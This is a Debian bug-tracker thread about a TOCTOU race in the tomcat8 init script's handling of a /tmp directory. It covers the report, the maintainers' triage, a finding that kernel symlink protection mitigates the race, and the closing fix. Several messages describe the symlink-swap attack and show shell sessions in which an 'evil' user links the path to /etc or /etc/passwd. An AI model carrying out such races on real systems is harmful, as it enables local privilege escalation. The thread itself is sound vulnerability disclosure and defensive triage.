TOCTOU race condition in initscript on chown'ing JVM_TMP temporary directory

Debian Bug report logs - #840685
TOCTOU race condition in initscript on chown'ing JVM_TMP temporary directory

Toggle useless messages

Message #5 received at submit@bugs.debian.org (full text, mbox, reply):

From: Paul Szabo <paul.szabo@sydney.edu.au>

To: Debian Bug Tracking System <submit@bugs.debian.org>

Subject: tomcat8: DSA-3670 incomplete

Date: Fri, 14 Oct 2016 07:22:50 +1100

Package: tomcat8
Version: 8.0.14-1+deb8u3
Severity: critical
Tags: security
Justification: root security hole


[ I contacted team@security.debian.org about this, but no response ... ]

Recently DSA-3670 was released, and /etc/init.d/tomcat8 modified so:

...
NAME=tomcat8
...
JVM_TMP=/tmp/tomcat8-$NAME-tmp
...
		# Remove / recreate JVM_TMP directory
		rm -rf "$JVM_TMP"
		mkdir -p "$JVM_TMP" || {
			log_failure_msg "could not create JVM temporary directory"
			exit 1
		}
		chown $TOMCAT8_USER "$JVM_TMP"
...

That suffers from a TOCTOU race condition.

An attacker can, after the "rm -rf", create a symlink to /etc. Then
"mkdir -p" returns success (though does nothing); and chown follows
the symlink. That is "game over": ability to replace /etc/passwd.

The attacker can use inotify and act quickly, and have a good chance
of winning the race to create the symlink before the init.d script
starts a new mkdir process.

Do you need some working PoC code?

---

The script should be made more robust by using "chown -h". (This would
protect against the above attack.)

The script should use plain mkdir without "-p": not needed as we create
a single directory, and should not be used to let mkdir return failure.
(This may make it safe.)

Cheers, Paul

Paul Szabo   psz@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia



-- System Information:
Debian Release: 8.6
  APT prefers stable
  APT policy: (500, 'stable')
Architecture: i386 (x86_64)

Kernel: Linux 3.16.36-pk07.24-amd64 (SMP w/2 CPU cores)
Locale: LANG=C.UTF-8, LC_CTYPE=C.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/bash
Init: systemd (via /run/systemd/system)

Versions of packages tomcat8 depends on:
ii  adduser                3.113+nmu3
ii  debconf [debconf-2.0]  1.5.56
ii  tomcat8-common         8.0.14-1+deb8u3
ii  ucf                    3.0030

Versions of packages tomcat8 recommends:
pn  authbind  <none>

Versions of packages tomcat8 suggests:
pn  libtcnative-1     <none>
pn  tomcat8-admin     <none>
pn  tomcat8-docs      <none>
pn  tomcat8-examples  <none>
pn  tomcat8-user      <none>

-- Configuration Files:
/etc/init.d/tomcat8 changed [not included]
/etc/tomcat8/catalina.properties [Errno 13] Permission denied: u'/etc/tomcat8/catalina.properties'
/etc/tomcat8/context.xml [Errno 13] Permission denied: u'/etc/tomcat8/context.xml'
/etc/tomcat8/logging.properties [Errno 13] Permission denied: u'/etc/tomcat8/logging.properties'
/etc/tomcat8/policy.d/01system.policy [Errno 13] Permission denied: u'/etc/tomcat8/policy.d/01system.policy'
/etc/tomcat8/policy.d/02debian.policy [Errno 13] Permission denied: u'/etc/tomcat8/policy.d/02debian.policy'
/etc/tomcat8/policy.d/03catalina.policy [Errno 13] Permission denied: u'/etc/tomcat8/policy.d/03catalina.policy'
/etc/tomcat8/policy.d/04webapps.policy [Errno 13] Permission denied: u'/etc/tomcat8/policy.d/04webapps.policy'
/etc/tomcat8/policy.d/50local.policy [Errno 13] Permission denied: u'/etc/tomcat8/policy.d/50local.policy'
/etc/tomcat8/server.xml [Errno 13] Permission denied: u'/etc/tomcat8/server.xml'
/etc/tomcat8/tomcat-users.xml [Errno 13] Permission denied: u'/etc/tomcat8/tomcat-users.xml'
/etc/tomcat8/web.xml [Errno 13] Permission denied: u'/etc/tomcat8/web.xml'

-- debconf information excluded

Message #10 received at 840685@bugs.debian.org (full text, mbox, reply):

From: Markus Koschany <apo@debian.org>

To: Paul Szabo <paul.szabo@sydney.edu.au>, "team@security.debian.org" <team@security.debian.org>

Cc: 840685@bugs.debian.org

Subject: Re: Bug#840685: tomcat8: DSA-3670 incomplete

Date: Thu, 13 Oct 2016 23:06:45 +0200

[Message part 1 (text/plain, inline)]

On 13.10.2016 22:22, Paul Szabo wrote:
> Package: tomcat8
> Version: 8.0.14-1+deb8u3
> Severity: critical
> Tags: security
> Justification: root security hole
> 
> 
> [ I contacted team@security.debian.org about this, but no response ... ]

I am CCing the security team in case they want to chime in here.

> 
> Recently DSA-3670 was released, and /etc/init.d/tomcat8 modified so:
> 
> ...
> NAME=tomcat8
> ...
> JVM_TMP=/tmp/tomcat8-$NAME-tmp
> ...
> 		# Remove / recreate JVM_TMP directory
> 		rm -rf "$JVM_TMP"
> 		mkdir -p "$JVM_TMP" || {
> 			log_failure_msg "could not create JVM temporary directory"
> 			exit 1
> 		}
> 		chown $TOMCAT8_USER "$JVM_TMP"
> ...

No, we did not modify this part in /etc/init.d/tomcat8. We fixed
CVE-2016-1240 by applying this patch

https://anonscm.debian.org/cgit/pkg-java/tomcat8.git/commit/?h=jessie&id=9a9fd4f1cae13304beed6d4e445d1be8a3917fe0


> That suffers from a TOCTOU race condition.
> 
> An attacker can, after the "rm -rf", create a symlink to /etc. Then
> "mkdir -p" returns success (though does nothing); and chown follows
> the symlink. That is "game over": ability to replace /etc/passwd.
> 
> The attacker can use inotify and act quickly, and have a good chance
> of winning the race to create the symlink before the init.d script
> starts a new mkdir process.
> 
> Do you need some working PoC code?

I don't understand how this affects our solution for CVE-2016-1240. If
you claim this is a new issue, then more information and a working proof
of concept code are appreciated. Please send them to the security team
first and not to a public mailing list.

[signature.asc (application/pgp-signature, attachment)]

Message #15 received at 840685@bugs.debian.org (full text, mbox, reply):

From: paul.szabo@sydney.edu.au

To: apo@debian.org, team@security.debian.org

Cc: 840685@bugs.debian.org

Subject: Re: Bug#840685: tomcat8: DSA-3670 incomplete

Date: Fri, 14 Oct 2016 08:42:11 +1100

Dear Markus,

>> [ I contacted team@security.debian.org about this, but no response ... ]
> ... Please send them to the security team
> first and not to a public mailing list.

I did. They did not reply within what seemed a reasonable timeframe.

>> Recently DSA-3670 was released, and /etc/init.d/tomcat8 modified so...
> No, we did not modify this part in /etc/init.d/tomcat8. ...

Whoops, sorry, you are right. Now checking, I do not see how I got
confused. This is a separate, maybe new issue.

> ... more information and a working proof
> of concept code are appreciated. ...

Maybe the security team will understand (recognize, accept) the issue
without a PoC. If they reply with such a need, then I will write one.

You or they might accept the suggested patch/fix: mkdir without -p,
chown with -h.

Cheers, Paul

Paul Szabo   psz@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

Message #20 received at 840685@bugs.debian.org (full text, mbox, reply):

From: Salvatore Bonaccorso <carnil@debian.org>

To: paul.szabo@sydney.edu.au

Cc: apo@debian.org, team@security.debian.org, 840685@bugs.debian.org

Subject: Re: Bug#840685: tomcat8: DSA-3670 incomplete

Date: Fri, 14 Oct 2016 09:19:00 +0200

Hi Paul, hi Markus,

On Fri, Oct 14, 2016 at 08:42:11AM +1100, paul.szabo@sydney.edu.au wrote:
> Dear Markus,
>
> >> [ I contacted team@security.debian.org about this, but no response ... ]
> > ... Please send them to the security team
> > first and not to a public mailing list.
>
> I did. They did not reply within what seemed a reasonable timeframe.

To be fair one could say, the initial mail was on 'Thu Oct 13 01:38:41
UTC 2016' and the bugreport on 'Thu Oct 13 20:22:50 UTC 2016'. But
thanks for reporting (appreciated!) and it's maybe anyway better to
have it tracked in the BTS in this case:

> >> Recently DSA-3670 was released, and /etc/init.d/tomcat8 modified so...
> > No, we did not modify this part in /etc/init.d/tomcat8. ...
>
> Whoops, sorry, you are right. Now checking, I do not see how I got
> confused. This is a separate, maybe new issue.

Yes, I think, that should be considered a different issue. Please not
that in your attack vector, though if the attacher created a symlink
between the rm and the mkdir then mkdir will still fail with -p on a
symlink.  (Or do I miss something?). So the attacker would need to do
it two-staged, first a directory, which will pass the mkdir -p
successfully, then replace the directory with a symlink which will be
followed.

On the practicality for Debian systems though this is mitigated by the
Kernel hardenings which are enabled by default:

fs.protected_hardlinks=1
fs.protected_symlink=1

which will prevent that the target of the symlink in /tmp will be
changed on the chown call.

So while I think it should be fixed, this would not warrant a DSA,
since mitigated by default in Debian.

Regards,
Salvatore

Message #25 received at 840685@bugs.debian.org (full text, mbox, reply):

From: paul.szabo@sydney.edu.au

To: carnil@debian.org

Cc: 840685@bugs.debian.org, apo@debian.org, team@security.debian.org

Subject: Re: Bug#840685: tomcat8: DSA-3670 incomplete

Date: Fri, 14 Oct 2016 19:07:52 +1100

Dear Salvatore,

> ... if the attacher created a symlink between the rm and the mkdir
> then mkdir will still fail with -p on a symlink.  (Or do I miss
> something?). ...

Yes, you missed a simple test:

$ mkdir mydir
$ ln -s mydir mylink
$ ls -ld my*
drwx------ 2 psz amstaff 4096 Oct 14 18:46 mydir
lrwxrwxrwx 1 psz amstaff    5 Oct 14 18:46 mylink -> mydir
$ mkdir -p mylink || echo failed
$ mkdir -p mylink; echo $?
0
$ mkdir mylink || echo failed
mkdir: cannot create directory `mylink': File exists
failed
$ mkdir mylink; echo $?
mkdir: cannot create directory `mylink': File exists
1
$ ls -ld my*
drwx------ 2 psz amstaff 4096 Oct 14 18:46 mydir
lrwxrwxrwx 1 psz amstaff    5 Oct 14 18:46 mylink -> mydir
$ 

showing that "mkdir -p" does not fail (but plain mkdir does).

> On the practicality for Debian systems though this is mitigated by the
> Kernel hardenings which are enabled by default:
> 
> fs.protected_hardlinks=1
> fs.protected_symlink=1
> 
> which will prevent that the target of the symlink in /tmp will be
> changed on the chown call.

Another missing test (besides: who is changing anything?):

# grep . /proc/sys/fs/prot*
/proc/sys/fs/protected_hardlinks:1
/proc/sys/fs/protected_symlinks:1
# cd ~psz
# ls -ld my*
drwx------ 2 psz amstaff 4096 Oct 14 18:46 mydir
lrwxrwxrwx 1 psz amstaff    5 Oct 14 18:46 mylink -> mydir
# chown mike mylink
# ls -ld my*
drwx------ 2 mike amstaff 4096 Oct 14 18:46 mydir
lrwxrwxrwx 1 psz  amstaff    5 Oct 14 18:46 mylink -> mydir
# 

> So while I think it should be fixed, this would not warrant a DSA,
> since mitigated by default in Debian.

No mitigation: fix and DSA, please!

---

What response time should I have expected of team@security? You had
close to a whole day... compared to that, Markus replied within the
hour to the Debian bug. (But he did not yet reply to my next, private
bug/message... seems public messaging works best!)

Cheers, Paul

Paul Szabo   psz@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

Message #30 received at 840685@bugs.debian.org (full text, mbox, reply):

From: Markus Koschany <apo@debian.org>

To: paul.szabo@sydney.edu.au

Cc: 840685@bugs.debian.org, team@security.debian.org

Subject: Re: Bug#840685: tomcat8: DSA-3670 incomplete

Date: Fri, 14 Oct 2016 15:54:34 +0200

[Message part 1 (text/plain, inline)]

On 14.10.2016 10:07, paul.szabo@sydney.edu.au wrote:
[...]
>> So while I think it should be fixed, this would not warrant a DSA,
>> since mitigated by default in Debian.
> 
> No mitigation: fix and DSA, please!

I agree with Salvatore. I have tested the following:

First of all you can only gain write permissions as the tomcat8 user if
you exploit an yet unknown security vulnerability in a web application
or Tomcat itself. Debian's tomcat8 user has no shell access by default.

So the server must be running and somehow you managed to remove
/tmp/tomcat8-tomcat8-tmp and replaced the directory with a symlink to an
arbitrary file.

Your attack vector requires that the server must be restarted. But there
is another rm -rf "$JVM_TMP" command in the stop target that would
remove your symlink again.

Ok, let's imagine that you could find a way around the rm -rf commands.
Let's remove those rm -rf "$JVM_TMP" calls in /etc/init.d/tomcat8. Then
run systemctl daemon-reload. Log in as tomcat8 user and create your
symlink for /tmp/tomcat8-tomcat8-tmp. If I run systemctl restart tomcat8
now, I get this:

Job for tomcat8.service failed because the control process exited with
error code.

The symlink is still present and nothing has changed regarding the file
permissions for my arbitrary file.

I agree that we should improve the init script in this regard but I
actually don't see a major risk like a root escalation for users at the
moment and I suggest to lower the severity of this bug report to important.

> What response time should I have expected of team@security? You had
> close to a whole day... compared to that, Markus replied within the
> hour to the Debian bug. (But he did not yet reply to my next, private
> bug/message... seems public messaging works best!)

In my opinion it is generally understood that you should give people at
least enough time to react to an e-mail and to assess the issue.
Expecting a response time in less than a day is not very reasonable,
especially when there are things like the time difference between
Australia and Europe.

Regards,

Markus

[signature.asc (application/pgp-signature, attachment)]

Message #37 received at 840685@bugs.debian.org (full text, mbox, reply):

From: paul.szabo@sydney.edu.au

To: apo@debian.org

Cc: 840685@bugs.debian.org, team@security.debian.org

Subject: Re: Bug#840685: tomcat8: DSA-3670 incomplete

Date: Sat, 15 Oct 2016 05:48:55 +1100

Dear Markus,

> First of all you can only gain write permissions as the tomcat8 user if
> you exploit an yet unknown security vulnerability in a web application
> or Tomcat itself. Debian's tomcat8 user has no shell access by default.

Yes, this is a privilege escalation issue: exactly as in DSA-3670.

> So the server must be running ...

No, you are wrong. Once I managed run-any-code-as-tomcat8 from the
running server, I set up something to run in the background, to keep
running after the server exited.

> ... and somehow you managed to remove /tmp/tomcat8-tomcat8-tmp and
> replaced the directory with a symlink to an arbitrary file.

No I do not remove anything. You do the remove, I create the symlink
after you removed (and before you attempt the mkdir).

> Your attack vector requires that the server must be restarted. ...

Yes, exactly as in DSA-3670.

> ... But there is another rm -rf "$JVM_TMP" command in the stop target
> that would remove your symlink again.

No, not another rm. I create the symlink after your rm.

> Ok, let's imagine that you could find a way around the rm -rf commands.
> Let's remove those rm -rf "$JVM_TMP" calls in /etc/init.d/tomcat8. Then
> run systemctl daemon-reload. Log in as tomcat8 user and create your
> symlink for /tmp/tomcat8-tomcat8-tmp. If I run systemctl restart tomcat8
> now, I get this:
> 
> Job for tomcat8.service failed because the control process exited with
> error code.
> 
> The symlink is still present and nothing has changed regarding the file
> permissions for my arbitrary file.

You created the wrong symlink: not to a random place and not to a file,
but a symlink to /etc (an existing directory). Please try again.

> I agree that we should improve the init script in this regard but I
> actually don't see a major risk like a root escalation for users at the
> moment and I suggest to lower the severity of this bug report to important.

Do the right test, please. You will see /etc owned by tomcat8, that
effectively gives root access.

>> What response time should I have expected of team@security? You had
>> close to a whole day...
> In my opinion it is generally understood that you should give people at
> least enough time to react to an e-mail and to assess the issue.
> Expecting a response time in less than a day is not very reasonable,
> especially when there are things like the time difference between
> Australia and Europe.

You can do better, if you try.

Cheers, Paul

Paul Szabo   psz@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

Message #42 received at 840685@bugs.debian.org (full text, mbox, reply):

From: Salvatore Bonaccorso <carnil@debian.org>

To: paul.szabo@sydney.edu.au, 840685@bugs.debian.org

Cc: apo@debian.org, team@security.debian.org

Subject: TOCTOU race condition in initscript on chown'ing JVM_TMP temporary directory (was: Re: Bug#840685: tomcat8: DSA-3670 incomplete)

Date: Fri, 14 Oct 2016 21:40:42 +0200

Hi Paul,

Markus followed already up, I just want to give some additional
comments on the below:

On Fri, Oct 14, 2016 at 07:07:52PM +1100, paul.szabo@sydney.edu.au wrote:
> Dear Salvatore,
> 
> > ... if the attacher created a symlink between the rm and the mkdir
> > then mkdir will still fail with -p on a symlink.  (Or do I miss
> > something?). ...
> 
> Yes, you missed a simple test:
> 
> $ mkdir mydir
> $ ln -s mydir mylink
> $ ls -ld my*
> drwx------ 2 psz amstaff 4096 Oct 14 18:46 mydir
> lrwxrwxrwx 1 psz amstaff    5 Oct 14 18:46 mylink -> mydir
> $ mkdir -p mylink || echo failed
> $ mkdir -p mylink; echo $?
> 0
> $ mkdir mylink || echo failed
> mkdir: cannot create directory `mylink': File exists
> failed
> $ mkdir mylink; echo $?
> mkdir: cannot create directory `mylink': File exists
> 1
> $ ls -ld my*
> drwx------ 2 psz amstaff 4096 Oct 14 18:46 mydir
> lrwxrwxrwx 1 psz amstaff    5 Oct 14 18:46 mylink -> mydir
> $ 
> 
> showing that "mkdir -p" does not fail (but plain mkdir does).

You are doing all the tests with the same user. But yes mkdir -p will
succeed for the root user still in some cases. Let's recapitulate your
described attack. The attacker has shell-access on the tomcat8 running
host or by other mean can run code on the server by an unprivileged
user and used inotify to detect when $JVM_TMP will be removed.

Let's say the tomcat8 service is started.

JVM_TMP=/tmp/tomcat8-tomcat8-tmp

# rm -rf "$JVM_TMP".

With inotify the evil user detects, that /tmp/tomcat8-tomcat8-tmp got
removed and has several options for proceeding. Either create a
directory, or directly a malicious symlink. 

evil@jessie:~$ ln -s /etc/passwd /tmp/tomcat8-tomcat8-tmp
evil@jessie:~$ ls -l /tmp/tomcat8-tomcat8-tmp 
lrwxrwxrwx 1 evil evil 11 Oct 14 20:20 /tmp/tomcat8-tomcat8-tmp -> /etc/passwd
evil@jessie:~$

raced before root will issue the mkdir -p call:

root@jessie# mkdir -p /tmp/tomcat8-tomcat8-tmp 
mkdir: cannot create directory ‘/tmp/tomcat8-tomcat8-tmp’: File exists
root@jessie# echo $?
1
root@jessie#

if the evil user instead created a directory, then yes you are right
for that part:

evil@jessie$ mkdir -p /tmp/tomcat8-tomcat8-tmp
evil@jessie$ ls -ld /tmp/tomcat8-tomcat8-tmp
drwxr-xr-x 2 evil evil 4096 Oct 14 20:25 /tmp/tomcat8-tomcat8-tmp
evil@jessie$

followed by the root user

root@jessie# mkdir -p /tmp/tomcat8-tomcat8-tmp
root@jessie# echo $?
0
root@jessie#

If now the evil user wins again the race, and removes the directory in
time and replaces it with the symlink to a desired file to overwrite,
before the chown call of the root user:

evil@jessie$ rmdir /tmp/tomcat8-tomcat8-tmp
evil@jessie$ ln -s /etc/passwd /tmp/tomcat8-tomcat8-tmp
evil@jessie$ ls -l /tmp/tomcat8-tomcat8-tmp
lrwxrwxrwx 1 evil evil 11 Oct 14 20:28 /tmp/tomcat8-tomcat8-tmp -> /etc/passwd
evil@jessie$

root@jessie# chown tomcat8 /tmp/tomcat8-tomcat8-tmp
chown: cannot dereference ‘/tmp/tomcat8-tomcat8-tmp’: Permission denied
root@jessie# echo $?
1
root@jessie# ls -l /etc/passwd
-rw-r--r-- 1 root root 1631 Oct 14 20:07 /etc/passwd
root@jessie#

The same if the evil user created a symlink to a existing directory:

evil@jessie$ ln -sf /etc /tmp/tomcat8-tomcat8-tmp
evil@jessie$ ls -l /tmp/tomcat8-tomcat8-tmp
lrwxrwxrwx 1 evil evil 4 Oct 14 21:01 /tmp/tomcat8-tomcat8-tmp -> /etc
evil@jessie$

root@jessie# mkdir -p /tmp/tomcat8-tomcat8-tmp
mkdir: cannot create directory ‘/tmp/tomcat8-tomcat8-tmp’: File exists
root@jessie#

root@jessie# chown tomcat8 /tmp/tomcat8-tomcat8-tmp 
chown: cannot dereference ‘/tmp/tomcat8-tomcat8-tmp’: Permission denied
root@jessie#

because of the kernel hardening.

> > On the practicality for Debian systems though this is mitigated by the
> > Kernel hardenings which are enabled by default:
> > 
> > fs.protected_hardlinks=1
> > fs.protected_symlink=1
> > 
> > which will prevent that the target of the symlink in /tmp will be
> > changed on the chown call.
> 
> Another missing test (besides: who is changing anything?):
> 
> # grep . /proc/sys/fs/prot*
> /proc/sys/fs/protected_hardlinks:1
> /proc/sys/fs/protected_symlinks:1
> # cd ~psz
> # ls -ld my*
> drwx------ 2 psz amstaff 4096 Oct 14 18:46 mydir
> lrwxrwxrwx 1 psz amstaff    5 Oct 14 18:46 mylink -> mydir
> # chown mike mylink
> # ls -ld my*
> drwx------ 2 mike amstaff 4096 Oct 14 18:46 mydir
> lrwxrwxrwx 1 psz  amstaff    5 Oct 14 18:46 mylink -> mydir
> # 

You are operating here outside of /tmp (sticky world-writable
directory) which the above issue for the init scripts relies on,
right?  fs.protected_(hardlinks|symlinks) is exactly a hardening for
those issues:

https://www.kernel.org/doc/Documentation/sysctl/fs.txt
https://sources.debian.net/src/linux/3.16.36-1%2Bdeb8u1/Documentation/sysctl/fs.txt/#L205

In the release notes such issues are not treated as security-issues
anymore since:

https://www.debian.org/releases/stable/amd64/release-notes/ch-whats-new.en.html#security


> > So while I think it should be fixed, this would not warrant a DSA,
> > since mitigated by default in Debian.
> 
> No mitigation: fix and DSA, please!

See my explanation above. I'm not saying the issue should not be
fixed, if that was the impression from our replies, then this can be
rectified; but it does not seem warrant a DSA (so can be fixed via a
regular update via a point release). Maybe still I'm missing
something, so if you have a PoC could you please share your PoC it
with apo@debian.org and team@security.debian.org? 

Regards,
Salvatore

Message #47 received at 840685@bugs.debian.org (full text, mbox, reply):

From: paul.szabo@sydney.edu.au

To: apo@debian.org

Cc: 840685@bugs.debian.org, team@security.debian.org

Subject: Re: Bug#840685: tomcat8: DSA-3670 incomplete

Date: Sat, 15 Oct 2016 06:51:50 +1100

Dear Markus,

Sorry to reply again.

> ... But there is another rm -rf "$JVM_TMP" command in the stop target
> that would remove your symlink again.

I now see what you mean. There is an rm when you "stop" tomcat, and
another in the "start"; so maybe there are two in restart. No matter:
I watch (with inotify), keep watch and keep watching, and put in a
symlink to /etc soon as I can, anytime and every time I can. So I will
create a symlink after the rm during stop, a wasted thing, present
between your stop and start; then during start you rm, I create the
symlink, you do the useless "mkdir -p" and you chown; I win.

For your test, you took the rm out of your script: you should see /etc
being chowned to tomcat8. Please confirm.

Cheers, Paul

Paul Szabo   psz@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

Message #52 received at 840685@bugs.debian.org (full text, mbox, reply):

From: paul.szabo@sydney.edu.au

To: 840685@bugs.debian.org, carnil@debian.org

Cc: apo@debian.org, team@security.debian.org

Subject: Re: TOCTOU race condition in initscript on chown'ing JVM_TMP temporary directory (was: Re: Bug#840685: tomcat8: DSA-3670 incomplete)

Date: Sat, 15 Oct 2016 07:25:59 +1100

Dear Salvatore,

> You are operating here outside of /tmp (sticky world-writable
> directory) which the above issue for the init scripts relies on,
> right?  fs.protected_(hardlinks|symlinks) is exactly a hardening for
> those issues:
> https://www.kernel.org/doc/Documentation/sysctl/fs.txt

I see: the kernel now treats things in /tmp (with sticky bit
permissions) differently from other places (without "weird"
permissions). Thanks for pointing this out for me!
(I never noticed this change...)

Then I agree that this issue is not exploitable in default Debian,
no need for DSA. (Sorry about the noise.)

Cheers, Paul

Paul Szabo   psz@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

Message #57 received at 840685@bugs.debian.org (full text, mbox, reply):

From: Salvatore Bonaccorso <carnil@debian.org>

To: paul.szabo@sydney.edu.au

Cc: 840685@bugs.debian.org, apo@debian.org, team@security.debian.org

Subject: Re: TOCTOU race condition in initscript on chown'ing JVM_TMP temporary directory (was: Re: Bug#840685: tomcat8: DSA-3670 incomplete)

Date: Fri, 14 Oct 2016 22:40:22 +0200

Control: severity -1 normal
Control: found -1 8.0.14-1

Hi  Paul,

On Sat, Oct 15, 2016 at 07:25:59AM +1100, paul.szabo@sydney.edu.au wrote:
> Dear Salvatore,
> 
> > You are operating here outside of /tmp (sticky world-writable
> > directory) which the above issue for the init scripts relies on,
> > right?  fs.protected_(hardlinks|symlinks) is exactly a hardening for
> > those issues:
> > https://www.kernel.org/doc/Documentation/sysctl/fs.txt
> 
> I see: the kernel now treats things in /tmp (with sticky bit
> permissions) differently from other places (without "weird"
> permissions). Thanks for pointing this out for me!
> (I never noticed this change...)
> 
> Then I agree that this issue is not exploitable in default Debian,
> no need for DSA. (Sorry about the noise.)

Welcome and thanks for confirming, and no problem (glad we could
elaborate together on the issue the impact).

I'm lowering the severity, and as well mark as found version for the
8.0.14-1 including up to unstable version. 

Regards,
Salvatore

Message #66 received at 840685-close@bugs.debian.org (full text, mbox, reply):

From: Emmanuel Bourg <ebourg@apache.org>

To: 840685-close@bugs.debian.org

Subject: Bug#840685: fixed in tomcat8 8.0.38-1

Date: Wed, 19 Oct 2016 10:40:37 +0000

Source: tomcat8
Source-Version: 8.0.38-1

We believe that the bug you reported is fixed in the latest version of
tomcat8, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 840685@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Emmanuel Bourg <ebourg@apache.org> (supplier of updated tomcat8 package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmaster@ftp-master.debian.org)


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Format: 1.8
Date: Wed, 19 Oct 2016 11:01:03 +0200
Source: tomcat8
Binary: tomcat8-common tomcat8 tomcat8-user libtomcat8-java libservlet3.1-java libservlet3.1-java-doc tomcat8-admin tomcat8-examples tomcat8-docs
Architecture: source all
Version: 8.0.38-1
Distribution: unstable
Urgency: medium
Maintainer: Debian Java Maintainers <pkg-java-maintainers@lists.alioth.debian.org>
Changed-By: Emmanuel Bourg <ebourg@apache.org>
Description:
 libservlet3.1-java - Servlet 3.1, JSP 2.3, EL 3.0 and WebSocket 1.0 Java API classes
 libservlet3.1-java-doc - Servlet 3.1, JSP 2.3, EL 3.0 and WebSocket 1.0 Java API documenta
 libtomcat8-java - Apache Tomcat 8 - Servlet and JSP engine -- core libraries
 tomcat8    - Apache Tomcat 8 - Servlet and JSP engine
 tomcat8-admin - Apache Tomcat 8 - Servlet and JSP engine -- admin web application
 tomcat8-common - Apache Tomcat 8 - Servlet and JSP engine -- common files
 tomcat8-docs - Apache Tomcat 8 - Servlet and JSP engine -- documentation
 tomcat8-examples - Apache Tomcat 8 - Servlet and JSP engine -- example web applicati
 tomcat8-user - Apache Tomcat 8 - Servlet and JSP engine -- tools to create user
Closes: 840685
Changes:
 tomcat8 (8.0.38-1) unstable; urgency=medium
 .
   * Team upload.
   * New upstream release
     - Refreshed the patches
   * Hardened the init.d script, thanks to Paul Szabo (Closes: #840685)
   * Fixed the OSGi metadata for tomcat8-jasper.jar and tomcat8-jasper-el.jar
   * Depend on libcglib-nodep-java instead of libcglib3-java
   * Removed the unused Lintian overrides
Checksums-Sha1:
 a2778761d6238a197228b312271846db3d95c730 2816 tomcat8_8.0.38-1.dsc
 4987605762a9d2793092b460565d666a26746745 3509572 tomcat8_8.0.38.orig.tar.xz
 eabd7f39695be919be3e9ea3edf05468eeb025e5 38820 tomcat8_8.0.38-1.debian.tar.xz
 da1232c9b36fcf8a34ec0a9113a834bdaa0142d9 239860 libservlet3.1-java-doc_8.0.38-1_all.deb
 ec8f0d7570525d9a139eecb6a4ff1fc841e429bd 391354 libservlet3.1-java_8.0.38-1_all.deb
 fefce6e4e1403b5fc755a5219afea21c715d0b51 4691266 libtomcat8-java_8.0.38-1_all.deb
 3215df1d3768bc2ade7c64b1a8fe50d787dc2fe4 34620 tomcat8-admin_8.0.38-1_all.deb
 7b9d1ca833c0204b9600211c6f1f35de86cfefbd 60070 tomcat8-common_8.0.38-1_all.deb
 73eaca528ff9af16bd67e36fa2dc4cc3d31704ab 750614 tomcat8-docs_8.0.38-1_all.deb
 2c5580940e453743841cbd1706c6976b94733449 191216 tomcat8-examples_8.0.38-1_all.deb
 409bdd2c7e7c43edb55e1e8830b718a327d46313 34328 tomcat8-user_8.0.38-1_all.deb
 3296c3e86183958741343919c8c34377b2a0f1b1 45940 tomcat8_8.0.38-1_all.deb
Checksums-Sha256:
 d7dd35f231d7df635732e4f15843ed1c6f054dfb7dd25f82315980373b3f19d2 2816 tomcat8_8.0.38-1.dsc
 1c5338c19fd15bc40ae5646a83525ce01b5dac5741f953bc4bb344b0fc4b64a6 3509572 tomcat8_8.0.38.orig.tar.xz
 12a41835ddf6a1d4f1ae5d9430f15553ab0f6b945eabc0943ac5bddbae67c7d9 38820 tomcat8_8.0.38-1.debian.tar.xz
 78d2f80125a988298d788fc813b5cd391dff126381e9367f8738d2b5fe7bfd26 239860 libservlet3.1-java-doc_8.0.38-1_all.deb
 dd8407616e1bc30479fbd42f3af8a3c1e1e9d242cde48e209b7cdb9b07195866 391354 libservlet3.1-java_8.0.38-1_all.deb
 8d9e00b824e807bece502a01da52e7931d0486c8f80b51885397ac1f4f723f20 4691266 libtomcat8-java_8.0.38-1_all.deb
 5b17cde24e82b2850e1994464d1ed3d6ab4bdda14c002d875939fa2eeb794b0f 34620 tomcat8-admin_8.0.38-1_all.deb
 a58199ce814c796d31712a1039d9eb21fc41b05f74bdf74c991c4107aad0bd8f 60070 tomcat8-common_8.0.38-1_all.deb
 57bbc0687826150ac637a79cba5af559b6b3f91372a90ebab8db8eac028f9218 750614 tomcat8-docs_8.0.38-1_all.deb
 fc354399abcf2ce08f04d891ec7fa39e27ecefc50bcbaaac7b7c3718256b3b7a 191216 tomcat8-examples_8.0.38-1_all.deb
 8744e5e2c8b288fcd85967272415d9cbb2db97435087d2403ba4cfce4901bc23 34328 tomcat8-user_8.0.38-1_all.deb
 5e35a709af61fa3df76e9bbec71b7c4ac5bd2dfcc6986601dc3f1d16a4b7926f 45940 tomcat8_8.0.38-1_all.deb
Files:
 7acc5c91827d36043fc25249d8fca973 2816 java optional tomcat8_8.0.38-1.dsc
 92372507d1f1a3b9175166edcc51b363 3509572 java optional tomcat8_8.0.38.orig.tar.xz
 42f2ecb3cee9be583734e41d1cee2eca 38820 java optional tomcat8_8.0.38-1.debian.tar.xz
 120c697f5f926ed93da31082bf6360be 239860 doc optional libservlet3.1-java-doc_8.0.38-1_all.deb
 4d9d0b76ece4f4a08093056c3f18f77f 391354 java optional libservlet3.1-java_8.0.38-1_all.deb
 50ccf001aa72fc70adb8fee3098fc45b 4691266 java optional libtomcat8-java_8.0.38-1_all.deb
 9f97ba2ee04cc2886622e37c5cb5323d 34620 java optional tomcat8-admin_8.0.38-1_all.deb
 9b4436fadcdb80d088b06cedca7b77ed 60070 java optional tomcat8-common_8.0.38-1_all.deb
 324e802fb30f39be030021dea910ff9d 750614 doc optional tomcat8-docs_8.0.38-1_all.deb
